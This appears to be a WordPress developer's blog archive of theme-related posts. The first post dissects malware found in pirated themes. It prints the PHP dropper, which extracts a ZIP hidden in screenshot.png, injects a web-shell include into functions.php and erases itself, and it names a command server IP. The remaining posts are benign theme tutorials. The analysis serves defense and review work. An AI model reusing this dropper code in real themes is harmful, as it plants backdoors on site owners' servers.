Posts tagged ‘theme’

As I’ve gotten involved with helping the WordPress.org theme review team, I’ve seen some strange things. One of the stranger ones was a theme virus that actually propagated from one theme to all others in a WordPress installation. That one was awfully clever, but it ultimately didn’t really do anything but propagate and generally be a pain in the ass.

However, today, @chip_bennett discovered that one of his themes had been copied and was being redistributed by a site called top-themes.com.

It had malware inserted into it that is of a much more malicious and spammy nature. Further investigation reveals that ALL of the themes on that site contain basically the same code. This code is not actually “viral”, but it’s definitely malware and it’s worth investigating to see some of the ways people try to hide their spam.

So today, I’m going to dissect it and serve it up on a platter for everybody to see.

Infection Point

We’ll start with the most obvious starting point, and that is in the functions.php file. At the very end of the functions.php file, we find a call to “get_custom_headers();”. An innocuous enough sounding name, so we go find that function. Here’s the first part of the function:

function get_custom_headers() {
    $_SESSION['authenticated'] = false;
    $filename = dirname(__FILE__).DS."screenshot.png";

Right away, something is wrong. It’s getting the location of the screenshot file (DS is defined elsewhere as the Directory Separator, which makes it work on both Linux and Windows boxes). That doesn’t make a whole lot of sense, the screenshot is supposed to be displayed by the admin interface only. Let’s read on.

    $fileContents = explode(pack("c*", 0xAE,0x42,0x60,0x82), file_get_contents($filename));
    $screenshot = array_shift($fileContents);

The “pack” function is one that isn’t used much. It’s a means of manipulating binary files. The “explode” function is a way of splitting a string by some characters. So what this code really is doing is to find a particular string of hex digits in the screenshot file, split it across that boundary, and then get only the first part of that (the actual screenshot file), thanks to the array shift. This gets used later.

In other words, he’s appended something onto the end of the screenshot file, and this code reads it in, finds it, then gets a copy of it. What could this be? Turns out to be a ZIP file.

    $unzipped = false;
    $path = check_istalled_path($_SERVER['DOCUMENT_ROOT']);

The check_istalled_path function looks for a wp-additional directory and returns a path to it.

    if($path === false && $_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") {
	if(function_exists("zip_read")) {
	    $path = array_pop(array_shuffle(find_writeble_path($_SERVER['DOCUMENT_ROOT'])));
	    @mkdir($path = $path.DS."wp-additional");

	    file_put_contents($path.DS."archive.zip", implode(pack("c*", 0xAE,0x42,0x60,0x82), $fileContents));
	    $zip = new ZipArchive;
	    if ($zip->open($path.DS."archive.zip")===true) {

		$zip->extractTo($path.DS);
		$zip->close();
		unlink($path.DS."archive.zip");
		$unzipped = true;
	    }
	    @file_put_contents(dirname(__FILE__).DS."functions.php","<!--?php  if(is_readable(\"$path".DS."wshell.php\")) { @require_once(\"$path".DS."wshell.php\"); } ?-->\n".file_get_contents(dirname(__FILE__).DS."functions.php"));
	}

If the zip_read function is available, he makes a wp-additional directory and puts the ZIP file there. Then he simply unzips the malware file into the target theme. This requires a bit of explanation.

Elsewhere there is a function called “find_writeble_path”. This function doesn’t limit itself to the current theme’s directory. Instead, it looks through all installed themes on the system and tries to find all themes that has permissions set to allow it to be written to. So in all of the above, he’s really looking for any theme that he can infect with the malware contained in this archive. The “array_shuffle” line is his way of picking a random theme.

So he unzips the malware to that theme then adds code to himself to that makes it try to read and execute this wshell.php file.

But if the wp-additional directory full of malware has already been created somewhere on the system, then the above code doesn’t run. If it finds the malware directory, then it skips that and just does the following:

    } else {
	if($_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") {
	    $path = $_SERVER['DOCUMENT_ROOT'].DS.$path;
	    @file_put_contents(dirname(__FILE__).DS."functions.php","<!--?php if(is_readable(\"$path".DS."wshell.php\")) { @require_once(\"$path".DS."wshell.php\"); } ?-->\n".file_get_contents(dirname(__FILE__).DS."functions.php"));
	}
    }

It found the malware, so it simply rewrites itself to make sure it includes it.

The overall affect of the above code is to make the them unzip the malware into any theme directory it can find, then rewrite itself to attempt to include it.

Next we have self-eliminating code:

    @file_put_contents(__FILE__, array_shift(explode("function get_custom_headers", file_get_contents(__FILE__))));
    @file_put_contents(dirname(__FILE__).DS."screenshot.png", $screenshot);

What does this code do? Well, it erases itself from the file!

This code reads the file that the malware code is in right now (with file_get_contents(__FILE__) ). Then it explodes it along the get_custom_headers function. Finally, it writes it back out to the file itself.

Basically, using the explode and array_shift method, it finds the get_custom_headers function code, then writes the functions.php back out without that code or anything after it. Now that the malware has done its job, this code basically self deletes, to make it not traceable. All that’s left is the wp-additional directory that contains the malware, and the include it wrote to the beginning of the file to load that malware.

Here’s where it also erases itself from the screenshot, using the $screenshot variable it saved earlier.

    if(function_exists("zip_read") && $unzipped == true && $_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") {
	@require_once($path.DS."wshell.php");
    }
}

This just makes it load the now-decompressed wshell.php malware immediately, instead of waiting for the next page load.

Also note how the code doesn’t run on localhost installs? If you look closely, the self-removing code does run on those installs. Meaning that if you run this theme in a test bed, then it removes itself without infection. This is to make it harder for people to analyse the code, since it disappears the first time you run it on a local test system.

The Malware

So what is this malware? Well, there’s two parts to it.

The first part is a standard PHP Shell install, essentially giving a shell backdoor to anybody who knows the location of the malware and the username and password. This is a massive security hole, obviously.

The second part is somewhat custom. It’s in the wshell.php file that the above malware tries so hard to get you to include. Essentially, this installs a spamming system of fairly wide ranging scope.

The first thing it does is to notify its master that it exists. It does this by making a connection to 188.165.212.17 and sending what looks sorta like SMTP commands, but which are probably customized in some way. But basically it tells this server where it’s installed and how it can be accessed. After it gets confirmation, it sets a parameter to make it not send this again.

The spamming system itself contains a number of commands. The way it gets commands from the attacker is by looking for them in cookies with a name of “wsh-cmd”. So in this sense, it’s kind of like a server. The attacker has some kind of a client that talks to your server via the normal HTTP, but sends it hidden commands via this cookie.

The commands allow the attacker to view a list of writable files in your themes directory, and to view any specified readable file on the system. It avoids triggering mod_security systems by base64 encoding files that it sends around. But the main thrust of the system is to allow the attacker to insert links into, and remove links from, any writable theme file.

Essentially, it’s a remote-controlled automated link spamming tool.

The attacker can send URLs to your system and it will insert them into theme files. He can later remove those links. There’s a lot of code to allow it to generate proper links, to insert them into specific lines, things of that nature.

Summary

In short, don’t trust dodgy theme sites. Get your free themes from WordPress.org Extend-Themes instead.

Also, this sort of thing should tell you why we ban certain types of things from the WordPress.org theme repository. We can’t scan for specific malware, as it’s too easy to get around that sort of scanning. Scanning for functions that most of these malwares use is simpler and more effective. And all of our themes go through human-eye review as well, with anything even slightly dodgy getting brought up before a mailing list of experts who can take a look and determine what is what.

Shortlink:

A lot of people have been debating back and forth lately about post formats and custom post formats. This discussion also gets all confused with post types, and custom taxonomies, and categories, and tags… It’s time for some clarity. Mark had a really good post on the topic, but I think this needs to be explored in more detail.

Also, can’t have a good explanation without a bad analogy. I mean, this is the internet, right? So I should probably try to relate it to cars somehow.

A Post Type as a Car

Okay, so let’s say we have a post type. It’s called “car”. Anything that even vaguely resembles a car (including trucks, SUVs, jeeps, fire engines) gets lumped together in this post type.

We can categorize cars by type: Truck. Van. Hummer. Ford. Whatever.

We can add tags to cars: Four-door. Premium-sound. 6-disc-changer. Etc.

We can come up with custom taxonomies for them: A Color taxonomy could contain red, blue, black, silver, white, brown, etc.

The point here is that the post type is the thing itself, the various taxonomies are merely descriptions of it. You wouldn’t have both a “car” and a “truck” post type, because those are the same type of thing. If you prefer to be generic, you could make your post_type into “automobile”, which sorta fits both. That’s just a matter of naming choice.

Post types are NOUNS. Taxonomy terms are ADJECTIVES. Taxonomies themselves are related groups of adjectives.

This is why people using post types for things like Podcasts or Comic Strips or Video or something else are just fundamentally wrong. They’re using different nouns to describe the same thing, when they should be using the adjectives to sort out what those things are.

Displaying Different Things Differently

Historically with WordPress, categories have been used for more than just ways to classify posts. They’ve often been used to define different ways of displaying something.

The classic example is an “aside”. An aside has been traditionally defined as, basically, a short form post. Matt loves asides and he uses them far more often than long format posts:

A couple of aside posts on ma.tt

A couple of aside posts on ma.tt

Matt also uses a special format for his gallery posts:

One of ma.tt's gallery posts

One of ma.tt's gallery posts

Compare these to his normal long format posts:

A normal long format post on ma.tt

A normal long format post on ma.tt

You can easily see some of the differences. Asides don’t display a title. Galleries display a photo on the left hand side and the title is shortened and to the right. Long format posts have that double line underneath them, and also show the categories (essays in the above case).

The way he does these, and the way they have traditionally been done in WordPress in the past, is to co-opt categories. So he has an “Asides” category, and a “Gallery” category. In the code for his theme, he then has code that looks kinda like this:

if (in_category('asides')) {
   // stuff to display the aside format post here
} else if (in_category('gallery')) {
   // stuff to display the gallery format post here
} else {
   // code to display the normal format post here
}

Then, when he makes a post, he just picks the right category for it and that changes how it shows up on the site.

The problem is that this is a bit lame. Categories should be adjectives describing the post, not sorting them into functionally different buckets for use by the theme. Sure, you can use them that way, but that’s confusing to some users. You could use tags in the exact same way with the has_tag() function, but that doesn’t make it a good idea.

Post Formats (coming soon to a WordPress 3.1 near you)

Enter Post Formats. Tumblr has had these for a long time:

Tumblr's post formats

Tumblr's post formats

Basically they just define a format for a post to fit into at display time. So the theme could say “asides won’t have a title displayed for them”, and voila. A theme can do something like this to define what formats it supports:

add_theme_support( 'post-formats', array( 'aside', 'gallery' ) );

And it can do something like this when displaying things differently:

if ( has_post_format( 'aside' ) ) {
   // display the aside format
}

So there we go. Theme authors can define what formats they support, and they can style those formats appropriately. And we didn’t use categories at all.

Additional: For those people trying to implement this in themes, post formats also add new styles to the post_class() call. You can use .format-XXX to style based on post formats on a post.

Custom Post Formats and why you don’t need them

As soon as this was announced, naturally theme authors got up in arms, because theme authors are a rowdy bunch of folks. They like to do things their own way. So there was instantly the question of “how do I add my own format”? The answer is: you don’t, nor should you even think about it.

Why? Why prevent customization? Think of it from the perspective of the user:

  • They’ve got an existing set of posts.
  • Those posts have formats.
  • They switch to your theme, which uses some custom formats.
  • Now their own posts don’t display properly with the new theme, because it’s using a whole different set of formats.
  • Bad user experience, that is.

Now, from the perspective of a theme author, I understand the reasoning here. You want to be able to display things differently.

The problem is that you were already able to do that before.

Custom taxonomies have been around a long time. All you had to do was to a) create a custom taxonomy (call it “mytheme_formats”), b) allow users to sort posts into your taxonomy, and c) display things differently in the theme based on the terms in that taxonomy.

Post Formats is just a taxonomy. It’s a set of adjectives, describing the nouns that are the posts. So now we have “aside posts” and “gallery posts” and “chat posts” and “video posts” and so on. If you want to make your own formats, then you’ve had that ability forever. Why have you not already used it?

The answer to why you didn’t do it before is because there was no standard set of formats.

Without a standard set to work with, users won’t have any idea what your formats mean. You have to write documentation. You have to educate the user. You have to explain what this weirdness in your theme is.

Post formats changes that. Now you have a standard set of formats, and the user, having used other themes that support those formats too, will have some idea of what they mean already. But in order for this to work, themes must all use the same basic formats. There has to be a standard set of adjectives to describe the posts.

If you want to create your own set, then create your own taxonomy and box to have your set in it. But don’t complain when users don’t understand why your theme’s formats don’t mesh with the formats of every other theme that does support them.

The point of standards is to be standard. You don’t have to support the standard, but you also will have to deal with the consequences of being non-standard.

Summing up

In the end, you want to present things to your users in a method that causes the least confusion. If your user wants to display things in a single stream, then those things need to be Posts. If the user wants different things in that stream to display in different ways, then you should use a taxonomy to do that, and the post format taxonomy provides a nice and easy way to standardize that and be compatible with other themes.

If you want to go it alone with custom things, feel free, but be aware of the risk.

Shortlink:

While this isn’t affecting a lot of people now, it will be in the future. Especially if you use well-supported themes.

Somewhere in version 2.8 or 2.9, WordPress started supporting Theme Updates. In the same way that it supports automatic plugin updates from the plugin repository, a theme developer can now make updates to their theme in the themes repository, and you can upgrade it directly from the WordPress interface.

This is a great thing. Theme developers can fix problems, add features, and have it easy for the users to get those changes right away.

Unfortunately, the theme has historically been the user’s playground. Themes are frequently modified by the user directly. Whether it be for looks or for adding code to be used by plugins or whatever, the theme you’re using is very probably not the theme you downloaded. So upgrading will blow away your changes. Thus, most people are disinclined to upgrade their themes.

The way to avoid this is with a child theme. Child themes derive from another theme, called the parent theme. A child theme, by default, looks exactly like the parent. Then you make your changes to the child, and those changes are used on the site. The parent remains untouched. So, when you upgrade the parent theme, the changes you made don’t go anywhere. They stay right where they are.

So let’s dive right in:

How to Make a Child Theme

First, obviously, install the parent theme. Take note of what directory name it goes into. You can find this on the Theme’s screen, it will tell you what directory each theme is in. The new default theme in 3.0 is “twentyten”. So let’s use that one as our parent.

Now, create a new directory in your /wp-content/themes directory. This is where we’ll put our child theme. Let’s call it “mytheme”.

In the mytheme directory, create a new style.css file. Put this in it:

/*
Theme Name: My Theme
Template: twentyten
*/
@import url('../twentyten/style.css');

Finally, load up WordPress and go activate your new “My Theme” theme. You’ll notice that WordPress tells you both what directory your child theme is in and what directory its parent is located in.

Now you’re running on a child theme. It doesn’t have any changes in it, so it looks exactly like the twentyten theme does, but still, we’re running it.

How to Change Things

Let’s say I wanted to change the color of the post titles to, say, green. A silly change, but it illustrates the point.

Normally, I’d go edit the theme, find wherever the color of the text is defined, and change it or add to it to make the titles change in the way I want. In this case, I do the same thing, but I modify the child theme, and I do it in a way that overrides the specificity of the parent’s CSS code.

To do this, I add this code to mytheme’s style.css file:

#content h2.entry-title a {
   color: green;
}

Why that change? Well, I looked at the parent theme and found that “#content .entry-title a” was what it used to define the color of the post title links. To override that, I need to be more specific.

Specificity is a difficult concept for some people, but basically it breaks down to this: When the browser is parsing the CSS, more specific rules take precedence over less specific rules.

In my case I needed to be more specific than “#content .entry-title a“. By adding the h2 to the .entry-title rule, I achieve that because h2.entry-title only will affect h2’s with the entry-title class, while just .entry-title can affect any tag on the page with that class.

The fact that only the h2’s on my page have .entry-title is irrelevant. The HTML doesn’t actually matter in regards to specificity. A rule is more specific based on what it can affect, not on what it actually affects.

So by making my rule more specific, I can override the color of those title’s in my own CSS file separately, and without changing anything about the parent theme.

Overriding Templates

Child themes are not limited to overriding only styling, although in many cases that may be the only customization you need. Best to stick with the rule of the minimum; try to make the most minimal change you can make to accomplish what you want to accomplish. But if you do want to change the way some of the templates work, you can do that too.

All you have to do is to copy the specific template file you want to alter from the parent theme into the child theme’s directory, then make your changes. The way WordPress works is when it looks for some template file, it looks in the child theme first, then it goes to the parent theme if the file it wants isn’t there.

Note that you’re not limited to overriding existing files in the parent. The entire Template Hierarchy applies to child themes too, so if you want to define a category.php file for Category Templates, and the parent theme doesn’t have that file, then you can create a new one in your child and it will be used. You will probably still want to start out with some existing template from the parent though, so look at the Template Hierarchy to see which template the parent is using for your case. The index.php is the usual suspect in these cases, so you can probably just copy that to the child theme and rename it to the template file you want it to be.

Overriding Functions

One exception to the overriding mechanism of child themes has to do with the functions.php file. In a child theme situation, both functions.php files from both themes are loaded. This is necessary because elements of your parent theme might require pieces of the functions.php file to be loaded. This can make overriding functions in the parent theme tricky unless it’s written to allow you to do just that.

The key to this is that the functions.php file of the child theme is loaded first. So if the parent theme is written in a manner WordPress calls “pluggable“, then you can override those functions.

In the twentyten theme’s functions.php file, several of the functions are defined like this:

if ( ! function_exists( 'twentyten_admin_header_style' ) ) :
function twentyten_admin_header_style() {
...
}
endif;

That is a pluggable function. Basically, before it defines the function, it checks to see if the function is already defined. If the parent theme uses this mechanism, then a child theme can override this function by simply defining a function of the same name first. So all you have to do to change it is to copy the function into your child’s functions.php file and make your changes. When the parent theme loads, it will see that you already defined the function and continue on.

Another way to override things is through the normal WordPress action and filter hook mechanisms. If a theme’s functions.php file uses those, then you can simply add your own hooked functions with different names. However, because the child’s functions.php file loads first, it can’t actually unhook things defined by the parent theme.

The way to get around this is to use the after_setup_theme action hook. This action is called immediately after both functions.php files are loaded.

For example, if I look at the twentyten theme, I’ll find this:

function twentyten_excerpt_length( $length ) {
	return 40;
}
add_filter( 'excerpt_length', 'twentyten_excerpt_length' );

I don’t want that, I want my excerpts to be 55 words instead. So I add this to my functions.php file:

function my_excerpt_length( $length ) {
	return 55;
}
add_filter( 'excerpt_length', 'my_excerpt_length' );

Whoops! It doesn’t work. Why not? Because I didn’t remove twentyten’s hook, and its filter is overriding mine. So I have to add this too:

function my_undo_hooks( $length ) {
	remove_filter( 'excerpt_length', 'twentyten_excerpt_length' );
}
add_action( 'after_setup_theme', 'my_undo_hooks' );

And then it works. I’ve added my filter, and removed the one in twentyten. Voila.

Programmer Note

In a WordPress theme you’ll often find references to “stylesheet_uri” and “stylesheet_dir”. You’ll also find references to “template_uri” and “template_dir”. Normally, these are the same thing. In a child theme case, they’re not. Stylesheet refers to the child theme. Template refers to the parent theme. This is an important distinction that you’ll want to make when creating your theme. You should probably use stylesheet in most cases, except for when you need to specifically refer to the parent (for image URL creation and such).

Conclusion

Child themes are a very good way to survive theme upgrades, and if you’re using a well supported theme, these are likely to become more common. It’s still perfectly safe to modify your theme directly (except for twentyten! Normal WP upgrades overwrite twentyten), but it’s always a good idea to keep your customizations separate. They’re a lot easier to manage that way.

Shortlink:

I am making a theme today and working on the image attachment templates. I found that I needed the next and previous image links (in the single image templates… image.php) to be of a specific size, regardless of what the settings the admin tool were. Specifically, I want them to always be 100×100 pixels in size, and cropped.

Image sizing is always a problem for themes. Theme designers want their theme to be pixel perfect in all cases, but WordPress wants the user to have some form of control. With image sizes, WordPress lets the user pick the size of their image thumbnails and so forth. In that case, using those becomes problematic for certain places in the theme which need pre-defined image sizes.

Here’s the quick and easy solution: add_image_size. This function lets you create custom image sizes that can be used by your theme. Plugins can do the same sort of things, of course, but this really comes in more useful as a theme developer’s tool.

In my functions.php file, I put this code:

add_image_size( 'themename-nav-thumbnail', 100, 100, true );

That creates a new image size for WordPress. When image files get uploaded, that new image size will be magically created along with all the other sizes. In this case, it’ll be 100 by 100 pixels, and cropped exactly to that (that’s what the “true” means).

Note the use of the “themename” prefix? You can use anything you like here, actually, but it’s a good habit to always use prefixes for custom identifiers you ever make. This prevents things from interfering with each other.

Anyway, to then use that size for my navigational thumbnails, this small bit of code works:

<div class="prev-img">
<?php echo previous_image_link('themename-nav-thumbnail'); ?>
</div>
<div class="next-img">
<?php echo next_image_link('themename-nav-thumbnail'); ?>
</div>

I wrapped them in DIVs so that I can float them left and right and style them and such.

So custom image sizes are easy enough to do, but it’s a trick I didn’t know about until I needed it just now. Thought somebody else should know about it too.

Shortlink:

WordPress 3.0 has something very handy that I want theme authors to start implementing as soon as possible.

To show exactly why it’s so useful, I modified my own theme to start using it.

Demonstration

So, here’s a big hunk of code I pulled out of my current theme’s comments.php. This hunk of code has only one purpose: To display the form area where people can leave a comment:

<?php if ('open' == $post->comment_status) : ?>

<div id="respond">

<h3><?php comment_form_title( 'Leave a Reply', 'Leave a Reply to %s' ); ?></h3>

<div class="cancel-comment-reply">
	<small><?php cancel_comment_reply_link(); ?></small>
</div>

<?php if ( get_option('comment_registration') && !$user_ID ) : ?>
<p>You must be <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php echo urlencode(get_permalink()); ?>">logged in</a> to post a comment.</p>
<?php else : ?>

<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">

<?php if ( $user_ID ) : ?>

<p>Logged in as <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo wp_logout_url(get_permalink()); ?>" title="Log out of this account">Log out &raquo;</a></p>

<?php else : ?>

<p><input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" />
<label for="author"><small>Name <?php if ($req) echo "(required)"; ?></small></label></p>

<p><input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" tabindex="2" />
<label for="email"><small>Mail (will not be published) <?php if ($req) echo "(required)"; ?></small></label></p>

<p><input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" />
<label for="url"><small>Website</small></label></p>

<?php endif; ?>

<!--<p><small><strong>XHTML:</strong> You can use these tags: <code><?php echo allowed_tags(); ?></code></small></p>-->

<p><textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea></p>

<p><input name="submit" type="submit" id="submit" tabindex="5" value="Submit Comment" />
<?php comment_id_fields(); ?>
</p>
<?php do_action('comment_form', $post->ID); ?>

</form>

<?php endif; // If registration required and not logged in ?>
</div>
<?php endif; // if you delete this the sky will fall on your head ?>

Nasty, eh? It’s a mess of if/else statements. It handles cases where the user is logged in or not, where the comments are open or closed, whether registration is required, etc. It’s confusing, difficult to modify, poor for CSS referencing…

Here’s what I replaced all that code with:

<?php comment_form(); ?>

Now then, that’s much better, isn’t it?

The comment_form function is new to 3.0. Basically, it standardizes the comments form. It makes it wonderful for us plugin authors, since now we can easily modify the comments form with various hooks and things. I’ve already modified Simple Facebook Connect and Simple Twitter Connect to support this new approach; if you’re using a theme with this, then the user won’t have to modify it to have their buttons appear on the comments form.

Customizing

Since theme authors love to customize things, the comments form is also extremely customizable. Doing it, however, can be slightly confusing.

Inside the comments_form function, we find some useful hooks to let us change things around.

The first hook is comment_form_default_fields. This lets us modify the three main fields: author, email, and website. It’s a filter, so we can change things as they pass through it. The fields are stored in an array which contains the html that is output. So it looks sorta like this:

array(
	'author' => '<p class="comment-form-author">...',
	'email'  => '<p class="comment-form-email">...',
	'url'    => '<p class="comment-form-url">...'
);

I truncated it for simplicity. But what this means is that code like this can modify the fields:

function my_fields($fields) {
$fields['new'] = '<p>Some new input field here</p>';
return $fields;
}
add_filter('comment_form_default_fields','my_fields');

That sort of thing lets us add a new input field, or modify the existing ones, etc…

But fields aren’t the only thing we can change. There’s a comment_form_defaults filter too. It gets a lot of the surrounding text of the comments form. The defaults look sorta like this:

$defaults = array(
	'fields'               => apply_filters( 'comment_form_default_fields', $fields ),
	'comment_field'        => '<p class="comment-form-comment">...',
	'must_log_in'          => '<p class="must-log-in">...',
	'logged_in_as'         => '<p class="logged-in-as">...',
	'comment_notes_before' => '<p class="comment-notes">...',
	'comment_notes_after'  => '<dl class="form-allowed-tags">...',
	'id_form'              => 'commentform',
	'id_submit'            => 'submit',
	'title_reply'          => __( 'Leave a Reply' ),
	'title_reply_to'       => __( 'Leave a Reply to %s' ),
	'cancel_reply_link'    => __( 'Cancel reply' ),
	'label_submit'         => __( 'Post Comment' ),
);

All the various pieces of html that are displayed as part of the comment form section are defined here. So those can be modified as you see fit. However, unlike the fields, adding new bits here won’t help us at all. The fields get looped through for displaying them, these are just settings that get used at various times.

But filters are not the only way to modify these. The comment_form function actually can take an array of arguments as the first parameter, and those arguments will modify the form. So if we wanted a simple change, like to change the wording of “Leave a Reply”, then we could do this:

<?php comment_form(array('title_reply'=>'Leave a Reply, Stupid')); ?>

This gives us a simple and easy way to make changes without all the trouble of filters. Nevertheless, those filters can be very useful for more complex operations.

But wait, there’s more!

As the comments form is being created, there’s a ton of action hooks being called, at every stage. So if you want to insert something into the form itself, there’s easy ways to do it.

A quick list of the action hooks. Most of them are self-explanatory.

  • comment_form_before
  • comment_form_must_log_in_after
  • comment_form_top
  • comment_form_logged_in_after
  • comment_notes_before
  • comment_form_before_fields
  • comment_form_field_{$name} (a filter on each and every field, where {$name} is the key name of the field in the array)
  • comment_form_after_fields
  • comment_form_field_comment (a filter on the “comment_field” default setting, which contains the textarea for the comment)
  • comment_form (action hook after the textarea, for backward compatibility mainly)
  • comment_form_after
  • comment_form_comments_closed

CSS and other extras

Let’s not forget styling. All parts of the comments form have nice classes and id’s and such. Take a look at the resulting HTML source and you’ll find all the styling capabilities you like. Also, everything is properly semantic, using label tags and aria-required and so forth. All the text is run through the translation system for core translations.

So theme authors should start modifying their themes to use this instead of the existing big-ugly-comment-form code. Your users will thank you for it. Plugin authors will thank you for it. And really, it’s about time we made WordPress themes more about design and less about the nuts and bolts of the programming, no?

Shortlink:

The Custom Background screen

The Custom Background screen is easy to add to any theme

Quick and simple way to add the new custom background selector to your WordPress 3.0 theme.

add_custom_background();

Seriously. That’s it. Just add that to the theme’s functions.php file.

Details

Okay, so your theme does need to have the normal wp_head() call in it. For those of you more CSS inclined, this basically creates CSS code for the body and adds that code to the head output directly. Voila, your theme gets styled.

Note that you will need to also not define your own background stuff in the theme for this to work. If the user tries to put in a solid color background and you define an image background, then the color won’t work or be visible over your image. Best to not put anything background related onto the body at all, in fact.

Customization

For those more inclined to customize things, there’s actually three parameters you can use:

function add_custom_background($header_callback = '', $admin_header_callback = '', $admin_image_div_callback = '')

Each of these are references to a callback function. If you use them, then you need to define your own callback functions to replace the default ones.

The header_callback function is what builds and outputs the CSS. The function takes no parameters, but it can use get_background_image() and get_background_color() to retrieve the necessary information. From this information, the function should produce and output (echo) the necessary <style> block to show the image.

The admin_header_callback function is called in the head section of the admin side of things; in the Background section to be specific. The admin_image_div_callback is similar, called immediately after displaying “This is your current background” on that page, where the image is displayed. If used, the admin_image_div_callback replaces the display of the current background image, so you custom callback should produce that instead.

These two admin callbacks can be used to modify the Background admin page, to add custom text or information, etc.

But generally, most themes won’t need this level of customization. Just add the basic code to the theme and the defaults are good to go. 🙂

Shortlink:

For ages, theme authors have been adding code like this to their theme’s header.php files:

<link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />

No need for that any more. Remove that stuff, make sure you’ve got the wp_head() call in the header (like you should anyway), then add this to the theme’s functions.php file instead:

add_theme_support( 'automatic-feed-links' );

This automatically adds the relevant feed links everywhere on the whole site. Standard feed, comments links, category and tag archives, everything as it should be.

Shortlink:

Too often I see themes missing the absolute minimum requirements to make the theme actually work properly. So I figured I’d make a list of things that ALL WordPress themes need to have in them, every time. These are WordPress theme-specific things. I’m not including obvious stuff like HTML and such.

Note: These are my opinions. You may not agree with every one of these. My opinion in that case is that you’re wrong, so there’s little point in arguing with me unless you have a rock-solid reason for disagreeing with me. In other words, I’m not trying to start a flame war, nor am I interested in one. This is just a checklist that I hope theme authors will start following more often. It would make me happy if all themes had these. 🙂

  • wp_head() in the HEAD section.
  • wp_footer() just before the /BODY tag. (So many themes forget this simple little thing…)
  • language_attributes() in the opening HTML tag.
  • body_class() in the BODY tag.
  • post_class() in whatever surrounds each individual post (probably a DIV).
  • Use of get_header(), get_sidebar, and get_footer inside every appropriate page template.
  • The Loop inside every page template (exception: very Custom Page Templates).
  • Proper use of widgets on the sidebars (dynamic_sidebar, register_sidebar, etc).
  • A special image.php template. Image attachments can have their own template and make theme’s have built in nice gallery-like support. You should make a special one of these to fit your layout.
  • Comments must use wp_list_comments(). Preferably without using a customized callback. But if you must make a callback, be sure to support threading properly! This is tricky without also having an end-callback. And you should use a List to do it (unordered or ordered, it doesn’t really matter). If you’re using DIVs, you’re doing it wrong.
  • The Comments Reply form should have id=”commentform”. If you change this, you’re breaking plugins.
  • Similarly, you need to include do_action(‘comment_form’, $post->ID); on your comment form too.
  • A couple of useful Custom Page templates. Like a no-sidebar one, or one that has a different number of columns. Just generic ones to let your user have a few built in options.
  • New to 2.9: Thumbnail support. Come on, this is cool stuff, every theme needs to have it.
  • New to 3.0: Forget doing your own comment form at all. Just make the call to comment_form(). Then adjust it through styling or filters or what have you. Plugin authors will love you for doing this.
  • New to 3.0: Nav-menu support. It’s cool. Your users will love you for supporting it.
  • New to 3.0: add_theme_support( ‘automatic-feed-links’ ); in the function.php. This will make it do the feed links in the head for you, automagically.

This list is by no means complete. It’s just off the top of my head for now. But honestly, too many themes don’t have even the basic ones, and I’d like to see that fixed. If you’re a theme author, help everybody out, let’s make a list of standards and adhere to them. Users hate editing their themes to support their favorite plugins, and with standards like these, we could make it so that they didn’t have to.

Shortlink: